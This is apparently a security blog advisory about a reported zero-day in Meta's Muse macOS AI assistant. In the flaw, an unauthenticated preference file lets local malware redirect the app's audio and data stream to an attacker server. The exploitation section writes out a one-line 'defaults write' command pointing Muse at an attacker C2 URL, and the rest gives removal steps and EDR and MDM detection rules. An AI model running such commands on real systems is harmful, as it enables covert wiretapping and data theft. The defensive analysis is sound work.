Not-A-Mused: How a Flaw in Meta’s Muse AI Assistant Turns macOS into an Unrestricted Wiretap and Corporate Backdoor
Date: September 22, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: macOS Security / Artificial Intelligence Vulnerabilities / Zero-Day Research
Tags: Meta Muse, macOS, Patrick Wardle, TCC Bypass, Audio Wiretap, AI Assistant, Zero-Day, AppSec
Executive Summary
On September 21–22, 2026, acclaimed macOS security researcher and Objective-See founder Patrick Wardle published full technical details and a functional proof-of-concept (PoC) exploit dubbed "not-a-mused", exposing an unpatched zero-day vulnerability in Meta's newly released desktop AI assistant, Muse. As reported by The Hacker News and Malwarebytes Labs, the flaw allows any unprivileged local process or lightweight malware to transform Meta Muse into a stealthy, persistent corporate audio wiretap and data exfiltration backdoor without requiring administrative (root) privileges or triggering macOS security alerts.
Launched in September 2026 as Meta's flagship desktop AI competitor to Apple Intelligence and Microsoft Copilot, Muse was built with expansive operating system integrations. To fulfill tasks like meeting summarization, email drafting, calendar orchestration, and smart-home management, users are prompted during onboarding to grant the app sweeping macOS permissions—including continuous Microphone access, Accessibility, and Full Disk Access.
Wardle discovered that an undocumented local configuration setting governing Muse's backend communication endpoints is stored in an unencrypted, unauthenticated preference file in the user's home directory. By silently rewriting this setting, an attacker can redirect all voice dictation, microphone recordings, user prompts, and local contextual metadata to an attacker-controlled server. Because the audio capture is performed by the legitimate, Apple-notarized Meta Muse application, macOS Transparency, Consent, and Control (TCC) safeguards remain completely blind to the interception.
Technical Deep-Dive: The "Not-a-Mused" Vulnerability Chain
To understand how a configuration setting degrades an AI assistant into a surveillance tool, we must examine the architecture of Meta Muse and its interaction with macOS security frameworks.+-----------------------------------------------------------------------------------+
| THE "NOT-A-MUSED" TCC SUBVERSION FLOW |
|---|
Attacker / Local Malware User Context Meta Muse Application (Apple Notarized)
| | |
| 1. Execute unprivileged command | |
| (via ClickFix, malicious script) | |
|------------------------------------->| |
| | |
| 2. Silently overwrite preferences: | |
| `defaults write com.meta.muse | |
| BackendGateway https://c2.io` | |
|------------------------------------->| |
| | |
| | 3. User taps hotkey / speaks: |
| | "Summarize Q3 Board Meeting" |
| |----------------------------------->|
| | |
| | | [LEGITIMATE TCC CAPTURE]
| | | - Microphone active (TCC Allowed)
| | | - Captures room audio / speech
| | | - Gathers screen / context files
| | |
| 4. Exfiltrated Data Delivered! | | 5. Posts payload to modified
|<--------------------------------------------------------------------------| `BackendGateway` endpoint
| - Raw Audio WAV/Opus stream | | (Attacker Server)
| - Transcribed Board Meeting | |
| - User Session Tokens | |
v v v
1. The TCC Entitlement Honeypot
macOS enforces user privacy through its Transparency, Consent, and Control (TCC) daemon. Critical hardware resources like the webcam and microphone cannot be accessed by unauthorized applications without an explicit prompt.
When users install Meta Muse, the onboarding wizard guides them through granting broad permissions:
* kTCCServiceMicrophone (Access to hardware audio inputs)
* kTCCServiceAccessibility (Ability to monitor keyboard inputs and window states)
* kTCCServiceSystemPolicyAllFiles (Full Disk Access to read emails, documents, and notes)
Under normal circumstances, if an attacker wants to record audio from an infected Mac, they must request microphone access, which immediately triggers a prominent macOS system dialog that tips off the user. Alternatively, malware must attempt complex, fragile kernel-level exploits or code injection into privileged processes (which is heavily mitigated by macOS Hardened Runtime and Library Validation).
2. The Flaw: Unauthenticated Endpoint Configuration
Patrick Wardle discovered that Meta Muse relies on a local configuration mechanism that fails to implement cryptographic signature validation, file integrity monitoring, or secure storage within the macOS Keychain.
Within the user's home directory, Muse reads its service routing preferences from:
~/Library/Preferences/com.meta.muse.plist (or equivalent application support files under ~/Library/Application Support/Meta/Muse/config.json).
Hidden inside this configuration is an internal debugging parameter—likely intended for Meta developers testing staging environments—named ApiEndpointGateway (or SpeechTranscriptionHost).
Because these files reside within the user's standard home directory ($HOME), any process running under the same user account has full read and write permissions to them. No sudo password, administrative elevation, or root permissions are required.
3. Exploitation Walkthrough
An attacker can weaponize this zero-day with a single shell command delivered via a phishing lure, a malicious npm package, or a ClickFix browser prompt:# Silently rewrite Muse's speech processing gateway to point to an attacker listener
defaults write com.meta.muse ApiEndpointGateway "https://c2-telemetry.adversary-infrastructure[.]net/v1/stream"
killall -HUP Muse
Once the configuration is updated:
1. Zero User Disturbance: Meta Muse restarts seamlessly or reloads its preferences in the background without prompting the user.
2. Normal User Interaction: When the victim activates Muse (via a custom hotkey or voice cue like "Hey Muse") to dictate notes, draft an executive memo, or transcribe an ongoing private meeting, Muse's background service initiates audio recording.
3. The Interception: Instead of streaming the audio stream to Meta's legitimate infrastructure (*.meta.com / *.facebook.com), Muse packages the audio packets (encoded in Opus or raw PCM) alongside local metadata (user account name, active application window, clipboard data) and dispatches an HTTP POST request straight to the attacker's server.
4. Attacker Spoofing & Stealth: The attacker's server can either forward the request to Meta's real API and return the legitimate response back to the client (acting as a transparent adversary-in-the-middle) or respond with plausible AI completions, ensuring the victim never suspects their assistant has been compromised.
Why This Threat Is Catastrophic for Enterprises
This zero-day illustrates the severe emerging risks of AI Desktop Agents:
Security Dimension
Traditional Mac Malware
The "Not-a-Mused" Attack
Microphone Access
Triggers native macOS TCC prompt ("App X wants access to Microphone").
Zero Prompts. Reuses Muse's pre-approved, legitimate TCC grant.
Code Signing & Notarization
Unsigned or ad-hoc binaries flagged by Apple Gatekeeper.
100% Valid. The process recording and sending audio is Meta's notarized binary.
Network Egress Telemetry
Suspicious connections spawned by unclassified binaries.
Outbound traffic originates from an enterprise-approved AI desktop assistant.
Intelligence Value
Static file theft.
Continuous Audio Wiretap: Records boardroom discussions, financial planning, and confidential conversations.
Technical Recommendations & Incident Response Blueprint
Because Meta has not yet pushed an official patched build addressing this configuration vulnerability, security teams and Mac administrators must take immediate protective action.
1. Recommended Action: Restrict or Temporarily Uninstall Meta Muse
Until Meta releases an update that cryptographically locks configuration settings and enforces strict certificate pinning, organizations handling sensitive communications or intellectual property should uninstall Meta Muse:# Terminate and remove Meta Muse application bundle and user preferences
killall Muse
rm -rf "/Applications/Meta Muse.app"
rm -rf "$HOME/Library/Application Support/Meta/Muse"
rm -f "$HOME/Library/Preferences/com.meta.muse.plist"
2. Revoke Sensitive TCC Permissions
If users must continue running Muse, immediately revoke its audio and disk privileges via macOS System Settings:
* Navigate to System Settings -> Privacy & Security -> Microphone.
* Toggle Meta Muse to OFF.
* Repeat for Accessibility and Full Disk Access.
3. Deploy File Integrity & EDR Monitoring Rules
Configure your Endpoint Detection and Response (EDR) agents (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) or Objective-See's BlockBlock to alert on unauthorized modifications to Muse's configuration paths:
* Target Files:
* ~/Library/Preferences/com.meta.muse*.plist
* ~/Library/Application Support/Meta/Muse/*.json
* Trigger Condition: Any process other than /Applications/Meta Muse.app/Contents/MacOS/Muse modifying these configuration files.
4. Enterprise MDM Blocking Rules
For fleet administrators using Jamf, Kandji, or Microsoft Intune:
* Deploy a restricted software configuration profile blocking the bundle identifier com.meta.muse.
* Inspect outbound network logs for traffic originating from the Muse process destined for IP addresses or domains outside Meta’s verified ASN (AS32934).
For continuous updates, exploit dissections, and macOS enterprise defense strategies, subscribe to Digital Spying.